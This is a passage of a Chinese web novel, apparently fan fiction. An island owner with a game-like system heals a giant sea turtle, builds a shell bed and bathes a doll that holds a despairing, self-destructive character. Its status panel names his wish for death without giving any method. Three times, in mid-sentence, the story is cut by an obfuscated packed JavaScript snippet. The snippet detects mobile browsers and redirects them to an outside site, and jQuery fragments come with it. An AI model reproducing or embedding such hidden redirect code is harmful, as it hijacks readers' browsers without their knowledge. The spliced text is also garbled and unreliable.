在玩偶看过来前,他拿出权杖,思考要不要念个咒语。 念吧,不管怎么样,仪式都要有! 还能逗下玩偶! 夏无忧目光变得坚毅,他掌心向上,双手托举过头,仿佛捧起了森林深处中的流萤。 神奇的一幕出现,当他闭上眼时,周身真的出现了白色的光点。 “永恒纯洁的精灵,真理与善行的守护者,请踏过白银之路,穿过秘密的花园,降临显现于此——独角兽!” 风变了,不再是漂流过海洋,随着增热与冷却而有规律改变的季风。 森林在窃窃私语,天上有一道银白色的门,门中吹来庄严厚重的风,好似源于与世隔绝的清幽之地。 夏无忧沐浴在柔和的白光中,听到了冰川坍塌,千万浮冰滚落于海水,与浪潮起伏碰撞的空灵声音。 也像是光柱穿过水晶似的铃兰,浩繁花瓣湮灭的刹那。 玩偶怔然一瞬。 森林里的小动物反应就夸张多了,它们想躲进草丛,但一看,周围只有光秃秃的树桩和褐色的泥土。 小动物跑也跑不得,躲也躲不掉,就大的叠小的,胖的叠瘦的,如糯米汤圆般团在一起。 在瑟瑟发抖的它们注视中,门消失了。 银白色的光在土壤上流动,地上开出了虚幻的白色花朵,花朵如层毯子,散发出草木的清香。 花海之上,是骑着独角兽的夏无忧。 独角兽体态轻盈、挺拔、纤尘不染,皮毛是月光织就的绸缎,头顶的角是半透明的晶状,流动着珍珠白的朦胧光晕。 当它望向谁时,那圣洁的紫罗兰色瞳仁令人想到无暇的宝石。 挡在小动物身前的小白鹿走不动路了,它又大又清澈的眼睛直愣愣的,忘记了自己为什么而来。 夏无忧率先往前,招呼起小动物。 “带路。” 小白鹿脑袋上的鹦鹉最先反应过来,重复叫着“夏”。 夏无忧教过它几遍自己的名字,还换了不同的语言,它只会了夏这个发音。 也行。 夏无忧让独角兽奔跑起来,小白鹿追了上来,跳跃着带路,大片小动物在后面追,腿短的根本追不上来。 夏无忧一抬手,变出的云朵把这些小动物都捎上了。 无数只像素小动物挤在云朵里,仿佛是一团五彩斑斓的水果味棉花糖。 路途上,夏无忧肩上玩偶拿下来,放到独角兽光滑绵长的鬓毛里,这一放,他发现独角兽的毛太软,玩偶陷了进去,只露出乌色的发顶。 夏无忧想到了大型动物毛里勾着的小蒲公英。 他这朵是黑的。 夏无忧乐不可支。 前方带路的小白鹿跑啊跑,踏过了褐色的泥土,穿过了森林,跃过溪流,走在白金色的沙滩上。 夏无忧总算发现不对。 等他见到小白鹿踩过浪潮,在礁石上跳跃,鹦鹉接力,在海平面上飞翔时,他陷入了迷茫。 要被治疗的动物朋友居然生活在海里。 一个天上飞的,一个地上跑的,一个海里游的,海陆空,它们是怎么认识,还结下了深厚的友谊的? 是他小岛上的动物变异了吗? 夏无忧想不通,他按住独角兽的鬓毛,环住玩偶的两边,怕这朵小黑蒲公英被海风吹走。 独角兽踏水而行,经过的水面上留下流云般的星辉。 当鹦鹉停下,在空中喊着“夏、夏、夏”时,夏无忧见到了动物们的朋友——大海龟。 不,是被诸多海洋动物围绕着的奄奄一息的海龟。 附近潜伏着的有海豚,有面饼似的月亮鱼,有小虾米小鱼群,有果冻一样的水母,还有虎鲸、鲨鱼、章鱼等。 海洋动物在开会。 夏无忧对这只长者海龟产生了敬意。 他被独角兽带着往前,靠近哪只海洋动物,就能听到图鉴的解锁音效,海洋动物的胆子比陆地生物大上点。 它们潜入水中,鱼鱼祟祟地偷看他和独角兽。 离得近了,夏无忧见清了海龟的全貌,海龟像座行走的山,体型大过他已知的任何一种海龟,苍老到仿若从山海经中走出。 但它背上驮着的不是山,而是骇人的密集藤壶和绿藻,这些压得它浮不上来。 海龟的状态很糟糕,它气竭形枯,奄奄一息,不得不被虎鲸托着。 夏无忧抓着玩偶从独角兽身上下来,独角兽化为光点消失,落下的他被沉入海水,而是被只凶神恶煞的鲨鱼背住。 他蹲下来拍了拍鲨鱼,夸赞道。 “好孩子。” 不知道是不是因为岛屿之主的加成,看似凶恶的鲨鱼轻轻摆动尾巴,在海面掀起片片涟漪。 夏无忧思考了会,凑到海龟边上,拿出镰刀,试探着挥了下。 神奇的一幕出现了。 镰刀扫过的地方,藤壶和绿澡嗖嗖掉落,被收到了背包里。 夏无忧扫干净了龟背,但海龟没有转好,它背上坑坑洼洼,有不少藤壶钻入了壳,深入到角质层,被清理后冒出了血。 身血的地方有皎洁的月光一闪而过,伤口愈合了,夏无忧收回技能,见到了龟壳上古老而绚丽的纹路。 放射性的纵纹,似破裂的冰层,如在水中遨游的浮云。 他听到了播报。 【叮——恭喜您治好了乌龟智者,获得了小片区域的海洋名望!】 【开启模块[生命牧者],当前进度为10%,随着进度的递增,您将定期得到小动物的特产,获得自然祝福(生命力提高、恢复力增强、小动物天然好感,与小动物沟通的能力)!】 【该祝福与现实同步。】 【已为您发放奇遇奖励:海洋邮件(建筑)、涂层剂、10积分】 夏无忧好奇地拿出涂层剂,是个喷雾剂,瓶子里的液体是油状的,他看了下介绍,往海龟背上喷了下。 一点雾状的液体落在龟背上,往边缘扩散,仿佛涂抹了层油膏,呈现出蜡质的光泽。 夏无忧摸了把龟背,直觉这只神奇的海龟智者能听懂人类语言。 “这是涂层剂,可以改善你的体质,预防藤壶寄生,也能保护你恢复新生的龟背。” 海龟伸头伸腿,爬下虎鲸背部,在海水里游来游去,鱼群跟着游动。 它的喜悦感染了周围的海洋动物,夏无忧下方的鲨鱼被虎鲸顶开,虎鲸霸道至极,而鲨鱼好脾气地没计较。 夏无忧一个没站稳,跌坐在虎鲸光滑的背部,半边身体浸在冰凉的海水中。 他没站起,而是看着海洋动物以他为中心游动,虎鲸嗷呜叫着。 他适应了海水的温度,海水不是夜晚的冰冷刺骨,被太阳晒了一天,还能感受到午间的余温。 夏无忧眼珠一转,有了坏主意,他握住玩偶,伸手召唤鲨鱼,向鲨鱼演示张大嘴巴。 鲨鱼侧面的小眼睛看了半天,懂了,温顺地张开嘴。 它下颚与头骨连接疏松,口能长得很大,内里锋利的牙齿无比狰狞,看一眼就要被吞入血色的深渊。 夏无忧拿着玩偶把手伸入鲨鱼口中,恶劣道。 “我喊三声,3……” 玩偶注视着鲨鱼的血口,有点嫌弃,还抱着星辰,但是一声不吭,没有求救。 “2。” 玩偶回想夏无忧展示出的技能,注视梦境一样的世界,嗅到了海洋的气息,一股阴冷腐败的腥味。 在无边的厌恶中,眼前的黑暗越来越大,它竟真的生出丝向往。 再一次奔赴安静的,不再存在痛苦的永眠。 “1!” 话音落下,首领小宰就被高高举起,视线上移,他从黑暗飞向橙红的天空。 黄昏到来,暮色迟迟。 眼前的夕阳褪去了正午的炽热,化为颗巨大温润的火球。 广阔的海平面被斜射的光线彻底浸染,靠近落日的正下方,闪烁着一条宽阔的,耀眼的,不断颤动的金色光带,随着海浪的起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853385|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏而明灭。 稍微偏离落日中心,海水的颜色逐渐变化,从金色过渡为更深的橙红,随之是明丽的玫瑰红与绛紫色。 游鱼在不同颜色的海水中漫游,鳞片折射出丰富的色彩。 玩偶从瑰丽的景色中回神,反应过来自己被骗了,夏无忧在故意误导它。 它与夏无忧对视,见到夏无忧在笑,被海洋与生灵拥簇着,喉间发出的轻诉被海水揉开,散落于夕阳的辉光中。 “欢迎你的到来,首领阁下,我名夏无忧,是这片岛屿的岛主。” 夏无忧说着敬称,咬字却散漫而戏谑,似是调侃,偏让人错觉话语中藏着丝亲近与喜爱。 玩偶别过头,不再看夏无忧。 它安安静静的,被海风吹动头上的花环,有片鲜艳的花瓣脱落,凋零于海面。 夏无忧把玩偶放回肩上,陪鲨鱼玩了会,伸出手,掬起浮起的花瓣,连带捧住了晶莹透明的海水。 海水从他指缝嘀嗒嘀嗒落下。 他俯身吻住花瓣,花瓣散作漫天的蒲公英,蒲公英勾住了玩偶的红围巾。 玩偶回头,它没有手指,手和爪子一样,握不住东西,只能放开星辰,拍了拍自己的围巾。 而当它碰到蒲公英,蒲公英骤然更大,变成了把伞,载着它飞起。 夏无忧捂住嘴忍笑,身体与浪潮一样抖动。 他拍拍身下的虎鲸道:“送我段路吧。” 虎鲸欢快鸣叫,好似能听明白,带着人往海岸边游去,蒲公英伞带着玩偶跟了上去。 等到夏无忧见到沙滩上的海鸥,他发现自己的能量再一次不够了,这次他没那么慌张。 他从容地从虎鲸背上滚下,跃入海中,转身向无法再进一步的海洋动物们挥手。 “再——见——啦!” 夏无忧招手的功夫,蒲公英伞紧接着消失,玩偶扑通掉到水里,它身上吸水的布料就越来越重,根本浮不起来,只能咕噜咕噜往下沉。 夏无忧眼疾手快地捞起玩偶,拍一拍,扭一扭,揉一揉,把海水挤出来。 他拿下自己的草帽,把玩偶放了进去。 “亲爱的,跟着我航海吧!” 夏无忧拽着草帽,把它当做载玩偶的船,朝着海岸游过去,哼起一首与海盗有关的民谣。 他音感好,念出的调子节奏明快,富有动感,仿佛真有一群海盗,离乡追逐自由与财富,却在漂泊中感到了深深的孤独悲哀。 海浪一波又一波,不断将他往后推,每有一个涌起的浪峰打来,草帽都会颠簸,飞溅的浪花全拍到首领小宰身上。 夏无忧换了首曲子,一唱一应,时而高亢,时而清脆。 唱的是海绵宝宝。 海潮声应和他的歌,草帽跟着摇晃,可怜的是里面的玩偶。 玩偶全身潮湿,越来越有气无力,它蔫吧着,似条搁浅在沙子上被太阳曝晒的鱼。 等夏无忧游上岸,他捞起草帽,一手拿住玩偶,另一手把草帽甩了甩,甩出了不少小水珠。 他翻过玩偶,见玩偶垂着头,湿答答的。 虽然玩偶没什么表情,但夏无忧知道它在生气。 他拍了拍玩偶,哄道:“别气,回去给你造个豪华浴缸,给你安排至尊暖心热水澡!” 他赤脚走在沙滩上,草帽上鲜艳的野花被海洋冲走,浅浅浮动。 悄悄跟来的小鱼啄起花瓣,把野花推远了。 夏无忧用脸贴了下生闷气的玩偶,见玩偶又抱住了星辰,索性就抱着它走路。 他比玩偶狼狈多了,乌黑的长发垂在身后,被海浪弄得有点乱,一些发丝黏在脸颊与后颈上,往下还渗着水。 海水没入沙子,潮湿的沙子颜色较深。 夏无忧逆着夕阳,往木屋的方向走,一步一个深色的脚印。 沙滩的脚印不是连成直线的,而是弯曲的,因为夏无忧会时不时绕路,弯腰捡贝壳,逛了半天,他发现自己的奇遇没有结束。 彩色鹦鹉飞回来了,衔来一个闭合的扇贝。 夏无忧用手臂环住玩偶,空出的手打开扇贝,见到了颗无比美丽的珍珠。 珍珠大而圆润,主色为白,伴色是暗红。 融融的暮光中,球形表面形成高光点与渐变暗部,比起海洋的衍射,它的光影更为精致。 因珠层太过厚实,珍珠分解出了浓烈的虹彩,金红的夕阳下,如流动的火焰。 他将珍珠对准海平面,天边落日下沉,一轮红日越来越扁,触及了海平面。最为浓烈的光芒被吞噬,海面浮动的金色光带缩短,宣告着白昼的终结。 唯有珍珠在暮色中保持微光。 夏无忧低头,与趴在他手臂上的玩偶对视。 他将珍珠递给玩偶,噙着笑,眼睫上的水珠没有干,垂下时,渡着动人的余晖。 “首领阁下,小动物给的宝石你不要,那珍珠呢?” 28.种地 “不过珍珠同样是种古老的宝石。”夏无忧拿着珍珠,悠悠说明。 见玩偶还是不接,他叹了口气,为这挑剔无比的玩偶头疼。 他根本没去想,玩偶是否需要宝石。 夏无忧的神奇逻辑是这样的:首领小宰跳入他的召唤阵,等于主动自愿,玩偶没有自由,等于他已经是坏人。 他都是坏人了,让让他吧。 玩偶拒绝他的宝石,和拒绝他的花朵一样,他有无限的耐心,总能等到玩偶愿意接受宝石。 就像等到玩偶愿意主动开口。 夏无忧愉悦地收起珍珠,贝壳也没落下,给鹦鹉比了个拇指,表示自己十分满意。 夏无忧抱着玩偶,肩膀空出来了,鹦鹉得偿所愿飞到上面,用羽毛蹭了下夏无忧的脸。 它喊了几声“夏”,飞向远方消失了。 夏无忧想到自己今天的活还没干完,趁着天色未暗,他不再捡贝壳,穿上潮湿的鞋,飞快地跑回木屋。 到了在家门口,他闻闻自己的手背,闻到了股海腥味。 他顾不上什么玩偶,什么乱七八糟的东西,拿起铲子就开始挖树桩。 [背包新增:木材x1、蘑菇x2、树根x1] [背包新增:木材x2、昆虫x3、树桩x1、树根x1] …… 夏无忧抡铲子抡得飞快,他一挖,木桩连带树根消失,他一拍,地面的坑就平了。 他还特意在屋子附近留了几个木桩。 这些木桩是有讲究的,要年轮富有美感,要横切面轮廓规整古意,要位置恰到好处。 夏无忧拿出打怪时掉落的永亮灯,把灯固定到了木桩上。 待到天色渐晚,矮小木桩上的灯亮起,灯拥簇着木屋,暖色的光将黑夜照得静谧温馨。 夏无忧终于清理完了自己圈定的区域。 他坐到一个木桩上,盘着腿,给自己切了个西瓜,然后吹着晚风挖西瓜吃。 他把看了他干一下午活的玩偶放在边上,让玩偶能看到天上的星星。 夏无忧挖着西瓜,给玩偶讲故事。 “夜晚时间到,现在是故事时间!” “传说森林深处长着会发光的蘑菇,一天夜里,有只小狼迷路,躲到了蘑菇下。猎人循着足迹追来,提着灯,灯光刺眼,小狼害怕到发抖。” “在猎人接近时,蘑菇忽然长大,将小狼罩住!猎人见到片晃眼的光晕,转了几圈,无果离开。小狼在温暖的蘑菇中睡着,待到天光大亮,它见到了自己身边围着一圈熟透的浆果。” 夏无忧嚼着西瓜,西瓜甜滋滋的,挖下鲜红的果肉,还会流出清凉润口的汁水。 他看着泼墨般的天空,今日晴朗无云,夜幕缀满了星辰。 夜晚的萤火虫出现,点点幽光中,他拿出往西瓜汁里丢了几块冰,一低头,发现首领小宰在看自己。 玩偶的目光是空茫的,视线没有落点,像是灵魂留在了漆黑的远方。 夏无忧拿出四枚浆果,提问:“那么浆果是从哪来的呢?” 他把浆果放到玩偶面前,指到一个说出一个可能,“这个是蘑菇,这个是小精灵,这个是狼群,这个是猎人。” 玩偶一开始没动。 夏无忧锲而不舍地盯。 终于,玩偶缓缓地,缓缓地抬起手,拍住了最后一个浆果。 在他判断中,夏无忧的故事里只提过“蘑菇、猎人、小狼”,排除小狼,排除幻想因素,就只剩下了猎人。 夏无忧笑道:“的确……森林总有些意想不到的善意。” 他故意曲解玩偶的意思,将故事的主旨定为“绝境中的微小希望”。 首领小宰有点不服气。 黑漆漆的森林中,小狼的脚步没有断,猎人真的看不到蘑菇下的小狼吗? 按照他的想法,故事更可能是发光的蘑菇本身就有毒,蘑菇发光是在狩猎,猎人忌惮蘑菇,于是离开了。 不然为什么夏无忧形容蘑菇的光为“晃眼的光晕”? 夜里那么冷,睡着的小狼怎么会感到“温暖”? 所以中毒的小狼见到的浆果,是它死前的想象。 夏无忧笑眯眯捏起玩偶的手,拿走下面的浆果,用清水清洗好,拿给猜对答案的玩偶。 他问过系统了,系统说玩偶不会感到饥饿,但可以吃东西。 但玩偶推开了浆果。 夏无忧惋惜地拿回浆果,把冰块打成冰沙,做成西瓜沙冰,他挖了一勺,绵绵的沙冰入口冰凉甘甜。 放入的浆果丰富了饮品的配色,其本身的酸味平衡了甜味,使冰沙整体口感更为清新和不腻。 夏无忧吃到半饱,心满意足地下西瓜,他盯住玩偶,想到了个重要的事,自言自语嘟哝着。 “得给你做个床。” 说做就做。 他变出工作台和工具,把捡到的贝壳、玻璃瓶、绸布拿出来,点了一盏明亮的星辰灯,行动力很高地开始制作。 夏无忧揉了揉手腕,拿出木材在木桩边上堆了个篝火。 [星幻]技能实在太方便了,只要能想象,他可以做出任何合适的工具。 木桩周围金光大亮,光芒消失后,工作台上出现坩埚、耐热钳、高温手套、模具、金属盘,篝火边还有个熔炉。 他把一些不要的玻璃制品放进坩埚,推入熔炉加热,再打开商城,用积分买了个海洋小装饰包。 海洋小装饰包里有大扇贝、小珍珠、水晶珠串、珊瑚、着色剂。 他瞥了眼玩偶,咕哝了句“吞金兽”。 这是想到了之前召唤太宰治,太宰治浪费了他一瓶外敷膏。 等等——夏无忧顿住,他想到自己已有的积分,大半拿来召唤,召唤出了太宰治和首领小宰,小半换的东西也是用在太宰治身上。 可怜的岛主为了养玩偶更贫穷了。 不能再想了! 夏无忧戴上手套,往坩埚里倒着色剂,搅拌玻璃熔液,等到温度足够,他夹出一团粘稠的熔液,用钳子卷出细长的触手,放到金属盘上冷却。 他数着捏出了足够数量,再夹出稍大一团的玻璃熔液,压到模具里,定格出蘑菇伞盖的形状,手持钳子捏出波浪一样的裙边。 事还没完,他将盘子上的触手加热,按到伞盖中,做出只浅蓝色的玻璃水母。 星空下,夏无忧依法炮制出不同色彩的小水母、鸟笼一样带底座的架子、一只章鱼。 他把大贝壳固定到架子的底座上,在拱状的笼架上挂水晶珠串与玻璃水母。 夏无忧有点累了,他取下手套,用毛巾擦去额头因高温分泌的汗,拿出西瓜冰沙吃了几口,吹了会凉风。 天太晚了,夏无忧撤去工作台和工具,把半成品和材料带回屋子,坐到书桌上,在明亮的灯光下添加贝壳床的细节。 首先是底座,他在圆盘底座上粘了珊瑚屏风、章鱼、海螺贝壳、小珍珠,用树脂调出夕阳下渐变的彩色海水。 底座完成后,整体已经有了梦幻的氛围。 夏无忧用绸布剪裁出合适的形状,一层层垫在大扇贝里,实在不想缝东西,又花积分定制了小小的枕头和被褥。 他放好这些东西,取出了洁白的珍珠。 奇遇得到的珍珠与别的小珍珠不同,在灯光下散发出温润的光。 夏无忧把珍珠放到了底座的章鱼触手中。 他累得眼睛都要睁不开了,还要用紫光灯照射固定,放到外面风干,撒点安神的香石颗粒。 贝壳制作完毕。 夏无忧把它放到床柜上,把首领小宰放进去,萎靡道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869506|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“以后这是你的床了。” 玩偶打量了半天,搞不懂夏无忧为什么要费这么大精力,去做张华而不实的贝壳床。 夏无忧看懂了玩偶的疑惑,幽幽说:“因为我无聊。” 这只是一部分原因。 主要是想送出珍珠。 没人可以拒绝伟大的岛主! 他拨弄了下水晶珠串,弯曲的笼架上垂着水滴般的流苏,远望如竖琴,也似坠落的流星雨。 珠串碰撞发出叮咚的悦耳声音。 夏无忧本想坐到沙发上小憩会,但他见到贝壳床上的玩偶动了动,似乎想把大贝壳闭合,失败了,冷漠盯过来。 夏无忧大笑,“我只管好看,不管实用的。” 他扭头去看自己小黄鸭钟摆的时间,内心感慨着,自己真是过了无比充实的一天。 但还不能结束! 夏无忧捞起玩偶,冲到浴室,洗了把脸再次出门。 他今天还有件事没有做——耕地! 如果他在建岛游戏第一天种不上地,他将没有脸面当上未来的传奇农夫。 月色溶溶,似水通明。 夏无忧拿出锄头刨地,在树桩上的灯盏光芒下,他刨出了个固定的方块格。 [1、清理出空地,耕出片可种植地奖励:随机种子x12、1积分(已完成)] 夏无忧点击领取随机种子,一洒,种子就种好了。 他打开背包,把背包里的[种子袋]拆开,拆出来一大堆种子,再把种子全部播种下去,用水壶浇湿了土壤。 大功告成。 夏无忧逆着月光走到木屋门前,手按在门上时,木屋内的灯光倾泻而出。 一线暖色的光打在他的脸上,他将门慢慢推开,光线横向延伸,照亮了他半边脸。 他听到风声与浪潮,喧嚣到了极点,一切声音都远去了。 夏无忧转身,望了眼天边的月亮,向某位收到绣球干花的人说了句晚安。 他踏入了房间。 室内的暖流驱散了夜间的寒气,夏无忧将肩膀上的玩偶拿下,与它的豆豆眼对视,承诺道。 “答应你的至尊暖心热水澡,我绝对不失言!” 首领小宰没挣扎,他早就厌烦自己身上的海水了,海水被风吹干,他黑西装外套上结出了雪白的盐霜。 这也是久远的感觉,他快要忘记自己曾经跳过河流,爬上岸,湿漉漉地行走在街道。 海水和河水不同,海水是腥咸的,黏腻的,附在身上很难受。 可是这点不适可以忍耐,许多事情都没那么必要。 他只是有点失望,自己没有死亡。 还是说这是死亡后的世界? 理智早就否定了这个可能。 这是他所见过的无数平行世界里的一种可能,但是多出了闯入者。 眼前的闯入者目的不明,存在不明,将他变作了玩偶。 玩偶体内的人没有感到愤怒或是疑惑,他提不起一点兴趣,他所有的情感早就燃烧殆尽,仅剩下了枯竭的灵魂。 这不是他的世界。 所以世界消失也无妨。 失望从玩偶空洞的心口蔓延,为什么他没有死呢? 死亡不具有独特性吗? 生与死不是对立,死亡是生命重要的一环,理解死,才能掌握生命的意义。 他想不到存在的意义,拥抱的死亡居然也是虚妄。 生命到底是什么? “大功告成!” 明朗的声音打断了首领宰的思考,他见到了闯入者践行的诺言——装满泡泡水的盆,水上游着只塑料小黄鸭。 对玩偶来说,这么大,还有只小黄鸭陪伴的浴池。 的确是“至尊暖心热水澡”。 首领宰:…… 29.伤口 玩偶深呼吸口气,怎么也劝说不了自己,他死寂的心中涌出寥寥情绪,名为抵触。 虽然是玩偶之身,但内里灵魂来自于一个成人。 在水盆里洗澡,洗澡用小黄鸭,在陌生人面前洗澡,哪个他都接受不了。 但他只是毫无反抗之力的玩偶。 夏无忧可不管那么多,他抓住玩偶,把它往热水里一塞,走向浴室,在脑海同系统协商。 夏无忧:[管家,玩偶有没有换洗衣服?!] 系统:【有,玩偶不可穿戴岛民装扮,只可穿戴玩偶专属装扮,并且一件专属装扮只能属于一个玩偶。】 就是说玩偶不能穿像素小人的衣服,一件玩偶衣服只能属于一个玩偶穿。 夏无忧头要晕了,他本来有102个积分,抽卡花了100积分,买海洋小装饰包和定制枕花去2积分。 他刚刚开垦荒地,播种种子拿了1积分。 所以他身上只剩下1积分。 这1积分,不能说没用,但有用得很有限。 他的系统商城是特别奇特的一个商城,他买过2积分的外敷药,药膏一敷立刻起效,放外面能拍出天价。 而人穿的衣服,就是找专业的匠人团队定制,造价也绝对比不上外敷药。 但是在商城里,装扮的价格非常非常高,高到夏无忧想自己做,但是他没那个技术,而且做衣服特别麻烦。 要他开辟牧场,养羊崽,等到羊长大剪羊毛,再有一套纺织工厂,点亮纺织技能,获得时尚灵感,才能概率性获得装扮。 夏无忧看一眼就失去兴趣了,并祈祷他未来的岛民有相关技能。 值得一提的是,虽然装扮制作麻烦,但是装扮拥有隐形好处,低级装扮耐磨损,具备游戏加成数值。 高级装扮还有配套武器特效和技能。 夏无忧扫了眼商场,艰难地移开眼,买不起,根本买不起。 他郁闷地端着水盆,把水盆放到浴室洗手台的瓷砖上,盆里的泡泡水摇摇晃晃。 水里的玩偶试图挣扎爬出来,被按了回去。 玩偶又尝试了好几次,它趴在盆子的边缘,仰着头,瞧着似是只怨恨的小水鬼。 夏无忧乐了。 他想到怎么解决玩偶的衣服了,关于他的任务三[给岛民建造住所],奖励是配套的家具和衣服。 小玩偶不需要住所,有贝壳床就行了。 空出来的住所给别的岛民也不好,可以分给太宰治。 夏无忧说不给太宰治住所,完全是气话。 屋子空间有限,每个人需要私人空间,他不准人睡自己的床,也不好让太宰治睡沙发。 太宰治的猎人装扮和黄金宝箱还在他身上,有了屋子,东西就可以放到屋里,以后召唤太宰治,就让他出现在自己的屋子里。 很好,太完美了! 夏无忧按住水里挣扎的玩偶,点开建筑图标,找到小木屋。 小木屋需要材料:圆木x30、石头x10。 圆木就是木材,木材他可多了,但是石头的数量是0。 夏无忧拆开背包里的[建筑材料包],获得了若干材料,基础材料有圆木、干草、石头,矿物有铁锭、铜锭、银锭,此外还有油漆、电力零件。 他点击建造,眼前出现操控界面。 建造界面是俯视视角,他见到了灰色的木屋外围,如果不想建造在这里,他可以移动视角,转到海岸边。 夏无忧可以拖动建筑虚影,建筑虚影下方会出现条虚线,告诉他所占面积多大。 建筑只能被放在平地,如果占到了树木,颜色是红色的不可建造,如果可以建造,颜色就是绿色的。 夏无忧来回转动视角,挑选起合适的位置,他没选自己附近,没选海岸边,选中了自己打下的一地块雾区,把小木屋建在了那里。 他把这片区域命名为[居住区],以后把岛民屋子都安置在此处。 在确定把木屋建造这后,一阵哐啷的锤子特效闪过,地上等比出现了建筑,小角落冒出两个头像。 一个太宰治的像素头像,半边脸缠着绷带。 一个首领小宰玩偶头像,脖子有条红围巾。 夏无忧把首领小宰的头像拖动到木屋上方,小木屋的所有者变为头像对应的人,电子的提示音出现。 【恭喜您的岛民拥有了住所!】 【注意事项如下:岛民拥有住所的所有权,可以设置进入权限,岛主可以拆卸木屋,但不得在未被邀请状态进入。】 【在岛民未入住前,岛主可以设置内部家具,可以转让木屋所有权;岛民入住后,岛主可以帮忙升级木屋,但不可动用屋内岛民财产。】 [3、为您的岛民建造一间住所 奖励:配套家具、配套衣服、4积分(已完成)] 夏无忧在内心欢呼:好耶! 他的眉梢染上喜气,点击领取了配套家具,选中一键设置,空空的木屋内部换了模样。 看清木屋的装修后,夏无忧的表情凝固。 屋内的装修会贴合居住者的性格,小屋里黑漆漆的。 整体风格是压抑简约的,主色为黑灰与猩红,内置原木宽大的办公桌、柜子和床,除此之外,空旷到冰冷。 比起家,更像件办公室。 装修往往透露一个人的日常生活。 夏无忧的木屋就是非常正常的典范,他会在家里吃饭,在沙发上打游戏或聊天,闲暇时阅读书籍,研究小东西。 虽然小,但满足了他的基础生活需求。 但首领宰的生活中好像不存在这些需求,他像是不需要休息,不需要玩乐,只要不眠不休地工作。 思考和发呆可以在办公桌上进行,睡眠和吃饭同样如此。 夏无忧仔细看了木屋里显眼的柜子,有两个柜子,一个柜子放满了书籍,一个柜子放的是全套医用工具和绷带。 他皱着眉,从建造界面切出来。 在他设置建筑时,他在别人眼中就是在发呆。 夏无忧的意识回归,他感到手上传来疼意,低下头,见到了在咬他手的首领小宰。 盆中的水不够热了,被压住的玩偶全身上下毫无攻击力,只能用牙去咬。 夏无忧心情复杂,说道:“好吧,小可怜。” 玩偶更生气了。 夏无忧撸起袖子,开始给首领小宰洗澡。 他打开背包,里面有任务给的配套衣服,内有内有出行服、睡衣、黑色西装。 夏无忧将睡衣放到一边,往水盆里倒入热水,调高浴室的温度,一手制住玩偶,一手搅拌水,让泡泡变多变绵密。 接下来他扒起玩偶的衣服,嘴上说个不停。 “生气了?觉得我可怜是羞辱,嘿,我就要这样,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881093|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不准别人可怜你,可怜你又不是嘲笑你,有本事你骂我啊。” “忘了,你是小哑巴。小哑巴,小可怜~你气我也喊,怎么,还能跳起来打我吗?对了我得告诉你,你刚才咬我一下,一点都不疼。” 夏无忧拉住玩偶的红围巾,玩偶拉着围巾另一端,双方拔河,夏无忧轻松获胜。 夏无忧拿开红围巾,叠好,去扯玩偶的外套和衬衫,再度胜利。 玩偶气得发抖,玩偶的皮肤是米白色布料,它体型那么小,身上居然还缠满了绷带。 夏无忧当没看到,他没什么表情地拆起玩偶绷带,玩偶的反抗前所未有地激烈起来,爆发出很大的力气。 夏无忧挑眉:“反抗?你自己能洗澡吗,以你那短手,能抓住什么,能解开纽扣吗?” “我以为你该知道隐忍,还是说,因为无所爱,无所恨,所以自以为什么都没必要,这样你更不该忤逆我。” 夏无忧的语气格外冷淡。 他像是看到一只伤痕累累的蜗牛,蜗牛没有错,他自己也没有错,如果谁都没有错,怒火该由谁承担呢? 他连可怜,心疼,关心的资格都没有。 夏无忧想,玩偶现在是他的,玩偶自己不说话,玩偶自己把自己封闭起来。 就由他当那个坏人吧。 他解开了玩偶手上的绷带,冷眼看着玩偶不动了,埋到了水面泡泡底下。 哪怕被愤怒和羞辱支配,玩偶还是没有开口。 夏无忧深吸口气,想到一个能了解岛民状态的办法,他点开组队,把首领小宰放到队伍里,打开队友状态栏。 【岛民信息-首领宰 状态:营养不良、睡眠不足、严重疲劳、低落焦虑、自毁倾向、内心封闭、麻木迟钝 备注:死?生命?世界? 人一旦思考,痛苦便形影相随。或许死亡是先从内心开始,到灵魂,等到连痛苦都不存在,他就真的一无所有了。】 【状态更新——】 【岛民信息-首领宰 状态:愤怒、悲伤、自厌 备注:他不懂为什么。 他不懂为什么你接住了他,不懂为什么你要揭开他的伤疤,而他连质问的力气都不存。 骄阳啊,你会灼伤一具空壳。 他在渴求痛苦,渴求安息。 他可以被打碎,不可被救赎,他无需任何人的怜悯。 但一切只是他以为。 你知他足够可敬,知他恐惧手中的沙子无可挽回地流逝。 希望啊,他活着,这已是你创造的奇迹。】 这是夏无忧第一次看到状态栏的备注,但他没心情去看了,他被那鲜红的,长长一串的负面状态灼伤。 心中燃起烈火,但他知自己不该愤怒。 